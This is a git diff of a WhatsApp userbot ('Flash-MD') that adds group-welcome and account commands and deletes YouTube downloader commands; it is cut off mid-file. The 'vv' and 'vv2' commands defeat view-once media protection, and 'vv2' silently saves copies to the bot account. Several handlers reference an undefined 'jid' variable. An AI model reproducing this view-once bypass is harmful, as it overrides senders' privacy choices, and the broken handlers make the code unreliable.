100644 index 00000000..550c4549 --- /dev/null +++ b/commands/Welcome.js @@ -0,0 +1,56 @@ +const { franceking } = require('../main'); +const db = require('../db'); + +module.exports = [ + { + name: 'welcome', + get flashOnly() { + return franceking(); + }, + description: 'Enable/disable welcome messages and set welcome text', + category: 'Group', + adminOnly: true, + botAdminOnly: true, + groupOnly: true, + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const option = args[0]?.toLowerCase(); + + if (!option || !['on', 'off', 'message'].includes(option)) { + return king.sendMessage(fromJid, { + text: '❌ Usage:\n.welcome on - Enable welcome messages\n.welcome off - Disable welcome messages\n.welcome message - Set welcome message text\n\nUse placeholders: @user and @group' + }, { quoted: msg }); + } + + if (option === 'on' || option === 'off') { + const enabled = option === 'on'; + const oldConfig = await db.getGroupWelcome(fromJid); + const message = oldConfig?.message || '👋 Hey @user welcome to @group!\n\n\n This Is a welcome message sent by Flash-Md-V2 via baileys'; + await db.setGroupWelcome(fromJid, enabled, message); + + return king.sendMessage(fromJid, { + text: `✅ Welcome messages *${enabled ? 'enabled' : 'disabled'}*` + }, { quoted: msg }); + } + + if (option === 'message') { + const messageText = args.slice(1).join(' '); + if (!messageText) { + return king.sendMessage(fromJid, { + text: '❌ Please provide the welcome message text after .welcome set\n\nPlaceholders: @user, @group' + }, { quoted: msg }); + } + + const oldConfig = await db.getGroupWelcome(fromJid); + const enabled = oldConfig?.enabled || false; + + await db.setGroupWelcome(fromJid, enabled, messageText); + + return king.sendMessage(fromJid, { + text: '✅ Welcome message updated successfully!' + }, { quoted: msg }); + } + } + } +]; diff --git a/commands/Whatsapp.js b/commands/Whatsapp.js new file mode 100644 index 00000000..819c858a --- /dev/null +++ b/commands/Whatsapp.js @@ -0,0 +1,826 @@ +const { franceking } = require('../main'); +const {S_WHATSAPP_NET, downloadContentFromMessage } = require('@whiskeysockets/baileys'); +const fs = require("fs-extra"); +const path = require("path"); +const jimp = require("jimp"); + +const resizeImage = async (imagePath) => { + const image = await jimp.read(imagePath); + const resized = image.crop(0, 0, image.getWidth(), image.getHeight()).scaleToFit(720, 720); + return { + img: await resized.getBufferAsync(jimp.MIME_JPEG), + preview: await resized.normalize().getBufferAsync(jimp.MIME_JPEG), + }; +}; + +async function getBuffer(message, type) { + const stream = await downloadContentFromMessage(message, type); + const chunks = []; + for await (const chunk of stream) chunks.push(chunk); + return Buffer.concat(chunks); +} + +module.exports = [ + { + name: "fullpp", + description: "Set your profile picture without compression (owner only).", + category: "WhatsApp", + aliases: ["mypp", "dp"], + ownerOnly: true, + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args) => { + const fromJid = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const quotedImage = quoted?.imageMessage; + + if (!quotedImage) { + return king.sendMessage(fromJid, { + text: "📸 Please *reply to an image* to set it as your profile picture.", + }, { quoted: msg }); + } + + try { + const buffer = await getBuffer(quotedImage, "image"); + const mediaPath = path.join(__dirname, "..", "temp", `${Date.now()}.jpg`); + fs.ensureDirSync(path.dirname(mediaPath)); + fs.writeFileSync(mediaPath, buffer); + + const resized = await resizeImage(mediaPath); + + await king.query({ + tag: "iq", + attrs: { + to: S_WHATSAPP_NET, + type: "set", + xmlns: "w:profile:picture", + }, + content: [{ + tag: "picture", + attrs: { type: "image" }, + content: resized.img, + }], + }); + + await king.sendMessage(fromJid, { + text: "✅ Profile picture updated successfully!", + }, { quoted: msg }); + + fs.unlinkSync(mediaPath); + + } catch (err) { + console.error("[FULLPP ERROR]", err); + await king.sendMessage(fromJid, { + text: "❌ Failed to update profile picture.", + }, { quoted: msg }); + } + } +}, + + { + name: 'privacy', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Displays your current privacy settings.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + + try { + const { + readreceipts, + profile, + status, + online, + last, + groupadd, + calladd + } = await king.fetchPrivacySettings(true); + + const name = king.user?.name || "User"; + const caption = `*Privacy Settings*\n\n` + + `*Name:* ${name}\n` + + `*Online:* ${online}\n` + + `*Profile:* ${profile}\n` + + `*Last Seen:* ${last}\n` + + `*Read Receipts:* ${readreceipts}\n` + + `*Status:* ${status}\n` + + `*Group Add:* ${groupadd}\n` + + `*Call Add:* ${calladd}`; + + const avatar = await king.profilePictureUrl(king.user.id, 'image').catch(_ => + 'https://telegra.ph/file/b34645ca1e3a34f1b3978.jpg' + ); + + await king.sendMessage(fromJid, { + image: { url: avatar }, + caption + }, { quoted: msg }); + + } catch (err) { + await king.sendMessage(fromJid, { text: 'Failed to fetch privacy settings.' }, { quoted: msg }); + } + } + }, + { + name: 'pin', + get flashOnly() { + return franceking(); +}, + description: 'Pin a chat.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + try { + await king.chatModify({ pin: true }, jid); + await king.sendMessage(fromJid, { text: 'Chat has been pinned.' }, { quoted: msg }); + } catch (err) { + console.error('Pin error:', err); + await king.sendMessage(fromJid, { text: 'Failed to pin the chat.' }, { quoted: msg }); + } + } + }, + { + name: 'unpin', + get flashOnly() { + return franceking(); +}, + description: 'Unpin a chat.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + try { + await king.chatModify({ pin: false }, jid); + await king.sendMessage(fromJid, { text: 'Chat has been unpinned.' }, { quoted: msg }); + } catch (err) { + console.error('Unpin error:', err); + await king.sendMessage(fromJid, { text: 'Failed to unpin the chat.' }, { quoted: msg }); + } + } + }, + { + name: 'star', + get flashOnly() { + return franceking(); +}, + description: 'Star a quoted message.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.stanzaId; + const fromMe = msg.message?.extendedTextMessage?.contextInfo?.participant === king.user.id; + + if (!quoted) { + await king.sendMessage(fromJid, { text: 'Please reply to the message you want to star.' }, { quoted: msg }); + return; + } + + try { + await king.chatModify({ + star: { + messages: [{ id: quoted, fromMe }], + star: true + } + }, jid); + + await king.sendMessage(fromJid, { text: 'Message has been starred.' }, { quoted: msg }); + } catch (err) { + console.error('Star error:', err); + await king.sendMessage(fromJid, { text: 'Failed to star the message.' }, { quoted: msg }); + } + } + }, + { + name: 'unstar', + get flashOnly() { + return franceking(); +}, + description: 'Unstar a quoted message.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.stanzaId; + const fromMe = msg.message?.extendedTextMessage?.contextInfo?.participant === king.user.id; + + if (!quoted) { + await king.sendMessage(fromJid, { text: 'Please reply to the message you want to unstar.' }, { quoted: msg }); + return; + } + + try { + await king.chatModify({ + star: { + messages: [{ id: quoted, fromMe }], + star: false + } + }, jid); + + await king.sendMessage(fromJid, { text: 'Message has been unstarred.' }, { quoted: msg }); + } catch (err) { + console.error('Unstar error:', err); + await king.sendMessage(fromJid, { text: 'Failed to unstar the message.' }, { quoted: msg }); + } + } + }, + { + name: 'mydp', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Updates your profile picture privacy setting.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + + + const options = { + all: 'Everyone can see your profile photo', + contacts: 'Only your contacts can see your profile photo', + contact_blacklist: 'Contacts except some can see your profile photo', + none: 'No one can see your profile photo' + }; + + const choice = args.join(' ').toLowerCase(); + + if (!options[choice]) { + const help = `*Choose a profile picture privacy setting:*\n\n` + + Object.entries(options).map(([k, v]) => `- *${k}*: ${v}`).join('\n') + + `\n\n_Example:_ *mydp contacts*`; + return king.sendMessage(fromJid, { text: help }, { quoted: msg }); + } + + try { + await king.updateProfilePicturePrivacy(choice); + await king.sendMessage(fromJid, { text: `Profile picture privacy updated to *${choice}*.` }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: 'Failed to update profile picture privacy.' }, { quoted: msg }); + } + } + }, + { + name: 'mystatus', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Updates your status privacy setting.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + + + const options = { + all: 'Everyone can see your status updates', + contacts: 'Only your contacts can see your status', + contact_blacklist: 'Contacts except some can see your status', + none: 'No one can see your status' + }; + + const choice = args.join(' ').toLowerCase(); + + if (!options[choice]) { + const help = `*Choose a status privacy setting:*\n\n` + + Object.entries(options).map(([k, v]) => `- *${k}*: ${v}`).join('\n') + + `\n\n_Example:_ *mystatus contact_blacklist*`; + return king.sendMessage(fromJid, { text: help }, { quoted: msg }); + } + + try { + await king.updateStatusPrivacy(choice); + await king.sendMessage(fromJid, { text: `Status privacy updated to *${choice}*.` }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: 'Failed to update status privacy.' }, { quoted: msg }); + } + } + }, + { + name: 'groupadd', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Updates who can add you to groups.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + const options = { + all: 'Everyone can add you to groups', + contacts: 'Only contacts can add you to groups', + contact_blacklist: 'Contacts except some can add you', + none: 'No one can add you to groups' + }; + + const choice = args.join(' ').toLowerCase(); + + if (!options[choice]) { + const help = `*Choose a group add privacy setting:*\n\n` + + Object.entries(options).map(([k, v]) => `- *${k}*: ${v}`).join('\n') + + `\n\n_Example:_ *groupadd contacts*`; + return king.sendMessage(fromJid, { text: help }, { quoted: msg }); + } + + try { + await king.updateGroupsAddPrivacy(choice); + await king.sendMessage(fromJid, { text: `Group add privacy updated to *${choice}*.` }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: 'Failed to update group add privacy.' }, { quoted: msg }); + } + } + }, + { + name: 'lastseen', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Updates your last seen privacy settings.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + + const availablePrivacies = { + all: "Everyone can see your last seen", + contacts: "Only contacts can see your last seen", + contact_blacklist: "Contacts except blocked ones can see your last seen", + none: "No one can see your last seen" + }; + + const priv = args.join(' ').toLowerCase(); + + if (!priv || !Object.keys(availablePrivacies).includes(priv)) { + let helpText = `*Choose a valid privacy setting:*\n\n`; + for (const [key, desc] of Object.entries(availablePrivacies)) { + helpText += `- *${key}*: ${desc}\n`; + } + helpText += `\n_Example:_ *lastseen contacts*`; + return await king.sendMessage(fromJid, { text: helpText }, { quoted: msg }); + } + + try { + await king.updateLastSeenPrivacy(priv); + await king.sendMessage(fromJid, { + text: `Last seen privacy updated to *${priv}*.\n${availablePrivacies[priv]}` + }, { quoted: msg }); + } catch (error) { + console.error('Failed to update last seen:', error); + await king.sendMessage(fromJid, { + text: 'An error occurred while updating last seen settings.' + }, { quoted: msg }); + } + } + }, + { + name: 'myonline', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Updates your online privacy setting.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + const options = { + all: "Everyone can see when you're online", + match_last_seen: "Matches your Last Seen setting" + }; + + const choice = args.join(' ').toLowerCase(); + + if (!options[choice]) { + const help = `*Choose an online privacy setting:*\n\n` + + Object.entries(options).map(([k, v]) => `- *${k}*: ${v}`).join('\n') + + `\n\n_Example:_ *myonline match_last_seen*`; + return king.sendMessage(fromJid, { text: help }, { quoted: msg }); + } + + try { + await king.updateOnlinePrivacy(choice); + await king.sendMessage(fromJid, { text: `Online privacy updated to *${choice}*.` }, { quoted: msg }); + } catch (err) { + await king.sendMessage(fromJid, { text: 'Failed to update online privacy.' }, { quoted: msg }); + } + } + }, + + { + name: 'onwa', + get flashOnly() { + return franceking(); +}, + aliases: ["checkid", "checkno"], + description: 'Checks if a WhatsApp ID exists.', + category: 'Whatsapp', + execute: async (king, msg, args, fromJid) => { + const rawNumber = args[0]; + if (!rawNumber) return await king.sendMessage(fromJid, { text: 'Please provide a valid number.' }, { quoted: msg }); + + const number = rawNumber.replace(/[^\d]/g, ''); + if (number.length < 10) { + return await king.sendMessage(fromJid, { text: 'Please provide a valid phone number with country code.' }, { quoted: msg }); + } + + const waJid = `${number}@s.whatsapp.net`; + + try { + const [result] = await king.onWhatsApp(waJid); + const response = result?.exists + ? `${rawNumber} exists on WhatsApp!` + : `${rawNumber} does not exist on WhatsApp.`; + await king.sendMessage(fromJid, { text: response }, { quoted: msg }); + } catch (error) { + await king.sendMessage(fromJid, { text: 'An error occurred while checking the number.' }, { quoted: msg }); + console.error('checkIdCommand error:', error); + } + } + }, + { + name: 'bizprofile', + get flashOnly() { + return franceking(); +}, + aliases: ["bizp"], + description: 'Fetches business description and category.', + category: 'Whatsapp', + execute: async (king, msg, args, fromJid) => { + const targetJid = args[0] ? `${args[0].replace(/[^0-9]/g, '')}@s.whatsapp.net` : jid; + + try { + const profile = await king.getBusinessProfile(targetJid); + const text = `Business Description: ${profile.description || 'N/A'}\nCategory: ${profile.category || 'N/A'}`; + await king.sendMessage(fromJid, { text }, { quoted: msg }); + } catch { + await king.sendMessage(fromJid, { text: 'Failed to fetch business profile.' }, { quoted: msg }); + } + } + }, + { + name: 'removedp', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Removes your profile picture.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + try { + await king.removeProfilePicture(fromJid); + await king.sendMessage(fromJid, { text: 'Profile picture removed.' }, { quoted: msg }); + } catch (err) { + await king.sendMessage(fromJid, { text: 'Failed to remove profile picture.' }, { quoted: msg }); + } + } + }, + /* { + name: 'save', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Saves and resends the replied media message.', + category: 'User', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + + if (!quoted) { + return king.sendMessage(fromJid, { text: 'Mention the message you want to save.' }, { quoted: msg }); + } + + let forwardMsg; + + try { + if (quoted.imageMessage) { + const buffer = await getMediaBuffer(quoted.imageMessage, 'image'); + forwardMsg = { + image: buffer, + caption: quoted.imageMessage.caption || '' + }; + } else if (quoted.videoMessage) { + const buffer = await getMediaBuffer(quoted.videoMessage, 'video'); + forwardMsg = { + video: buffer, + caption: quoted.videoMessage.caption || '' + }; + } else if (quoted.audioMessage) { + const buffer = await getMediaBuffer(quoted.audioMessage, 'audio'); + forwardMsg = { + audio: buffer, + mimetype: 'audio/mp4' + }; + } else if (quoted.stickerMessage) { + const buffer = await getMediaBuffer(quoted.stickerMessage, 'sticker'); + forwardMsg = { + sticker: buffer + }; + } else if (quoted.conversation || quoted.extendedTextMessage?.text) { + const text = quoted.conversation || quoted.extendedTextMessage.text; + forwardMsg = { text }; + } + + if (forwardMsg) { + const botJid = king.user?.id; + await king.sendMessage(botJid, forwardMsg); + } else { + await king.sendMessage(fromJid, { text: 'Unsupported or empty message.' }, { quoted: msg }); + } + } catch (error) { + await king.sendMessage(fromJid, { text: 'Failed to save or resend the message.' }, { quoted: msg }); + } + } + },*/ + { + name: 'archive', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Archives the current chat.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + + + try { + const lastMsgInChat = msg; + await king.chatModify({ archive: true, lastMessages: [lastMsgInChat] }, jid); + await king.sendMessage(fromJid, { text: 'Chat has been archived successfully.' }, { quoted: msg }); + } catch (error) { + console.error('Error archiving chat:', error); + await king.sendMessage(fromJid, { text: 'There was an error while archiving the chat. Please try again.' }, { quoted: msg }); + } + } + }, + /* { + name: 'fullpp', + get flashOnly() { + return franceking(); +}, + aliases: ['setdp'], + description: 'Sets bot profile picture from a quoted image.', + category: 'Whatsapp', + ownerOnly: true, + execute: async (king, msg, args, fromJid) => { + const senderJid = msg.key.participant || msg.key.remoteJid; + const senderNumber = senderJid.replace(/@.*$/, '').split(':')[0]; + + + const quotedMsg = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + if (!quotedMsg?.imageMessage) { + return await king.sendMessage(fromJid, { + text: 'Please reply to an image to set as DP.' + }, { quoted: msg }); + } + + try { + const buffer = await downloadMediaMessage({ message: quotedMsg }, 'buffer'); + await king.updateProfilePicture(king.user.id, buffer); + await king.sendMessage(fromJid, { text: 'Profile picture updated.' }, { quoted: msg }); + } catch (err) { + console.error(err); + await king.sendMessage(fromJid, { text: 'Failed to update profile picture.' }, { quoted: msg }); + } + } + },*/ + { + name: 'vv', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Reveals view-once images, videos or audios.', + category: 'User', + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + if (!quoted) return; + + const viewOnceMedia = quoted.imageMessage?.viewOnce || quoted.videoMessage?.viewOnce || quoted.audioMessage?.viewOnce; + if (!viewOnceMedia) return; + + try { + let sendMsg; + if (quoted.imageMessage) { + const buffer = await getBuffer(quoted.imageMessage, 'image'); + sendMsg = { + image: buffer, + caption: quoted.imageMessage.caption || '*REVEALED BY FLASH-MD*' + }; + } else if (quoted.videoMessage) { + const buffer = await getBuffer(quoted.videoMessage, 'video'); + sendMsg = { + video: buffer, + caption: quoted.videoMessage.caption || '*REVEALED BY FLASH-MD*' + }; + } else if (quoted.audioMessage) { + const buffer = await getBuffer(quoted.audioMessage, 'audio'); + sendMsg = { + audio: buffer, + mimetype: 'audio/mp4' + }; + } + + if (sendMsg) { + await king.sendMessage(fromJid, sendMsg, { quoted: msg }); + } + } catch (err) { + console.error('vv command error:', err); + } + } + }, + { + name: 'vv2', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Sends the view once media to the bot user ID.', + category: 'User', + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + + if (!quoted) return; + + const viewOnceImage = quoted.imageMessage?.viewOnce; + const viewOnceVideo = quoted.videoMessage?.viewOnce; + const viewOnceAudio = quoted.audioMessage?.viewOnce; + + if (!viewOnceImage && !viewOnceVideo && !viewOnceAudio) return; + + try { + let sendMsg; + + if (quoted.imageMessage) { + const buffer = await getBuffer(quoted.imageMessage, 'image'); + sendMsg = { + image: buffer, + caption: quoted.imageMessage.caption || '*REVEALED BY FLASH-MD*' + }; + } else if (quoted.videoMessage) { + const buffer = await getBuffer(quoted.videoMessage, 'video'); + sendMsg = { + video: buffer, + caption: quoted.videoMessage.caption || '*REVEALED BY FLASH-MD*' + }; + } else if (quoted.audioMessage) { + const buffer = await getBuffer(quoted.audioMessage, 'audio'); + sendMsg = { + audio: buffer, + mimetype: 'audio/mp4' + }; + } + + if (sendMsg) { + const botJid = king.user?.id; + await king.sendMessage(botJid, sendMsg); + } + } catch (error) { + console.error('vv2Command error:', error); + } + } + }, + { + name: 'details', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Displays the full raw quoted message using Baileys structure.', + category: 'User', + execute: async (king, msg, args, fromJid) => { + const context = msg.message?.extendedTextMessage?.contextInfo; + const quoted = context?.quotedMessage; + + if (!quoted) { + return king.sendMessage(fromJid, { text: 'Please reply to a message to view its raw details.' }, { quoted: msg }); + } + + try { + const json = JSON.stringify(quoted, null, 2); + const parts = json.match(/[\s\S]{1,3500}/g) || []; + + for (const part of parts) { + await king.sendMessage(fromJid, { + text: `*FLASH-MD Message Details:*\n\`\`\`\n${part}\n\`\`\`` + }, { quoted: msg }); + } + } catch (error) { + await king.sendMessage(fromJid, { text: 'Failed to read quoted message.' }, { quoted: msg }); + } + } + }, + { + name: 'blocklist', + get flashOnly() { + return franceking(); +}, + aliases: ['blocked'], + description: 'Shows the list of blocked users.', + category: 'Whatsapp', + ownerOnly: true, + + execute: async (king, msg, args, fromJid) => { + + + try { + const blockedJids = await king.fetchBlocklist(); + if (!blockedJids || blockedJids.length === 0) { + return await king.sendMessage(fromJid, { text: "Your block list is empty." }, { quoted: msg }); + } + + const formattedList = blockedJids.map((b, i) => `${i + 1}. ${b.replace('@s.whatsapp.net', '')}`).join('\n'); + + await king.sendMessage(fromJid, { + text: `*Blocked Contacts:*\n\n${formattedList}` + }, { quoted: msg }); + + } catch (error) { + console.error('Error fetching block list:', error); + await king.sendMessage(fromJid, { + text: 'An error occurred while retrieving the block list.' + }, { quoted: msg }); + } + } + }, + { + name: 'vcard', + get flashOnly() { + return franceking(); +}, + aliases: ['card'], + description: 'Save a contact from a replied message with a custom name.', + category: 'WhatsApp', + + execute: async (king, msg, args, fromJid) => { + const quotedContext = msg.message?.extendedTextMessage?.contextInfo; + const quotedSender = quotedContext?.participant || quotedContext?.remoteJid; + + if (!quotedSender) { + return await king.sendMessage(fromJid, { text: 'Reply to a user\'s message to save their number.' }, { quoted: msg }); + } + + if (!args[0]) { + return await king.sendMessage(fromJid, { text: 'Please provide a name for the contact.' }, { quoted: msg }); + } + + const name = args.join(' '); + const phoneNumber = quotedSender.split('@')[0]; + + const vcardString = + `BEGIN:VCARD\n` + + `VERSION:3.0\n` + + `FN:${name}\n` + + `TEL;type=CELL;type=VOICE;waid=${phoneNumber}:${phoneNumber}\n` + + `END:VCARD`; + + await king.sendMessage( + fromJid, + { + contacts: { + displayName: name, + contacts: [{ displayName: name, vcard: vcardString }] + } + }, + { quoted: msg } + ); + } + }, + { + name: 'location', + get flashOnly() { + return franceking(); +}, + aliases: ['loc'], + description: 'Returns Google Maps link from a replied location message.', + category: 'WhatsApp', + + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const locMsg = quoted?.locationMessage; + + if (!locMsg) { + return await king.sendMessage(fromJid, { text: 'Reply to a location message to get the map link.' }, { quoted: msg }); + } + + const { degreesLatitude, degreesLongitude } = locMsg; + const mapUrl = `https://maps.google.com/?q=${degreesLatitude},${degreesLongitude}`; + + await king.sendMessage(fromJid, { + text: `Live Location: ${mapUrl}`, + previewType: 0, + contextInfo: { isForwarded: true } + }, { quoted: msg }); + } + } +]; diff --git a/commands/YT-search.js b/commands/YT-search.js deleted file mode 100644 index dc67f34b..00000000 --- a/commands/YT-search.js +++ /dev/null @@ -1,155 +0,0 @@ - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - - -const { france } = require("../framework/france"); -const { getytlink, ytdwn } = require("../framework/ytdl-core"); -const yts = require("yt-search"); -const ytdl = require('ytdl-core'); -const fs = require('fs'); - -france({ nomCom: "yts", categorie: "Search", reaction: "✋" }, async (dest, zk, commandeOptions) => { - const { ms, repondre, arg } = commandeOptions; - const query = arg.join(" "); - - if (!query[0]) { - repondre("what do you want"); - return; - } - - try { - const info = await yts(query); - const resultat = info.videos; - - let captions = ""; - for (let i = 0; i < 10; i++) { - captions += `----------------\nTitle: ${resultat[i].title}\nTime : ${resultat[i].timestamp}\nUrl: ${resultat[i].url}\n`; - } - captions += "\n======\n*powered by FLASH-MD*"; - - // repondre(captions) - zk.sendMessage(dest, { image: { url: resultat[0].thumbnail }, caption: captions }, { quoted: ms }); - } catch (error) { - repondre("Erreur lors de la procédure : " + error); - } -}); - -france({ - nomCom: "ytmp4", - categorie: "Download", - reaction: "🎥" -}, async (origineMessage, zk, commandeOptions) => { - const { arg, ms, repondre } = commandeOptions; - - if (!arg[0]) { - repondre("insert a youtube link"); - return; - } - - const topo = arg.join(" "); - try { - /* const search = await yts(topo); - const videos = search.videos; - - if (videos && videos.length > 0 && videos[0]) { - const Element = videos[0]; - - let InfoMess = { - image: { url: videos[0].thumbnail }, - caption: `*nom de la vidéo :* _${Element.title}_ -*Durée :* _${Element.timestamp}_ -*Lien :* _${Element.url}_ -_*En cours de téléchargement...*_\n\n` - }; - - zk.sendMessage(origineMessage, InfoMess, { quoted: ms }); - */ - - // Obtenir les informations de la vidéo à partir du lien YouTube - const videoInfo = await ytdl.getInfo(topo); - // Format vidéo avec la meilleure qualité disponible - const format = ytdl.chooseFormat(videoInfo.formats, { quality: '18' }); - // Télécharger la vidéo - const videoStream = ytdl.downloadFromInfo(videoInfo, { format }); - - // Nom du fichier local pour sauvegarder la vidéo - const filename = 'video.mp4'; - - // Écrire le flux vidéo dans un fichier local - const fileStream = fs.createWriteStream(filename); - videoStream.pipe(fileStream); - - fileStream.on('finish', () => { - // Envoi du fichier vidéo en utilisant l'URL du fichier local - zk.sendMessage(origineMessage, { video: { url: `./${filename}` }, caption: "Powered by *FLASH-MD*", gifPlayback: false }, { quoted: ms }); - - }); - - fileStream.on('error', (error) => { - console.error('Erreur lors de l\'écriture du fichier vidéo :', error); - repondre('Une erreur est survenue lors de l\'écriture du fichier vidéo.'); - }); - - } catch (error) { - console.error('Erreur lors de la recherche ou du téléchargement de la vidéo :', error); - repondre('Une erreur est survenue lors de la recherche ou du téléchargement de la vidéo.' + error); - } -}); - -france({ - nomCom: "ytmp3", - categorie: "Download", - reaction: "💿" -}, async (origineMessage, zk, commandeOptions) => { - const { ms, repondre, arg } = commandeOptions; - - if (!arg[0]) { - repondre("Insert a youtube link"); - return; - } - - try { - let topo = arg.join(" "); - - const audioStream = ytdl(topo, { filter: 'audioonly', quality: 'highestaudio' }); - - // Nom du fichier local pour sauvegarder le fichier audio - const filename = 'audio.mp3'; - - // Écrire le flux audio dans un fichier local - const fileStream = fs.createWriteStream(filename); - audioStream.pipe(fileStream); - - fileStream.on('finish', () => { - // Envoi du fichier audio en utilisant l'URL du fichier local - zk.sendMessage(origineMessage, { audio: { url: `./${filename}` }, mimetype: 'audio/mp4' }, { quoted: ms, ptt: false }); - console.log("Envoi du fichier audio terminé !"); - }); - - fileStream.on('error', (error) => { - console.error('Erreur lors de l\'écriture du fichier audio :', error); - repondre('Une erreur est survenue lors de l\'écriture du fichier audio.'); - }); - - } catch (error) { - console.error('Erreur lors de la recherche ou du téléchargement de la vidéo :', error); - repondre('Une erreur est survenue lors de la recherche ou du téléchargement de la vidéo.'); - } -}); diff --git a/commands/YouTube.js b/commands/YouTube.js deleted file mode 100644 index 0b4a7e4e..00000000 --- a/commands/YouTube.js +++ /dev/null @@ -1,147 +0,0 @@ -const { france } = require("../framework/france"); -const yts = require('yt-search'); -const ytdl = require('ytdl-core'); -const fs = require('fs'); -const yt=require("../framework/dl/ytdl-core.js") -const ffmpeg = require("fluent-ffmpeg"); -const yts1 = require("youtube-yts"); -//var fs =require("fs-extra") - -france({ - nomCom: "play", - categorie: "Search", - reaction: "💿" -}, async (origineMessage, zk, commandeOptions) => { - const { ms, repondre, arg } = commandeOptions; - - if (!arg[0]) { - repondre("Please insert a song name."); - return; - } - - try { - let topo = arg.join(" ") - const search = await yts(topo); - const videos = search.videos; - - if (videos && videos.length > 0 && videos[0]) { - const urlElement = videos[0].url; - - let infoMess = { - image: {url : videos[0]. thumbnail}, - caption : `*FLASH-MD SONG DOWNLOADER*\n\n*Title:* ${videos[0].title} - -*Duration:* ${videos[0].timestamp} -*Song Url:* ${videos[0].url} - - - -*_Powered by ©France King._*` - } - - - - - - - zk.sendMessage(origineMessage,infoMess,{quoted:ms}) ; - // Obtenir le flux audio de la vidéo - const audioStream = ytdl(urlElement, { filter: 'audioonly', quality: 'highestaudio' }); - - // Nom du fichier local pour sauvegarder le fichier audio - const filename = 'audio.mp3'; - - // Écrire le flux audio dans un fichier local - const fileStream = fs.createWriteStream(filename); - audioStream.pipe(fileStream); - - fileStream.on('finish', () => { - // Envoi du fichier audio en utilisant l'URL du fichier local - - - zk.sendMessage(origineMessage, { audio: { url:"audio.mp3"},mimetype:'audio/mp4' }, { quoted: ms,ptt: false }); - console.log("Envoi du fichier audio terminé !"); - - - }); - - fileStream.on('error', (error) => { - console.error('Erreur lors de l\'écriture du fichier audio :', error); - repondre('Une erreur est survenue lors de l\'écriture du fichier audio.'); - }); - } else { - repondre('Aucune vidéo trouvée.'); - } - } catch (error) { - console.error('Erreur lors de la recherche ou du téléchargement de la vidéo :', error); - - repondre('Une erreur est survenue lors de la recherche ou du téléchargement de la vidéo.'); - } -}); - - - -france({ - nomCom: "video", - categorie: "Search", - reaction: "🎥" -}, async (origineMessage, 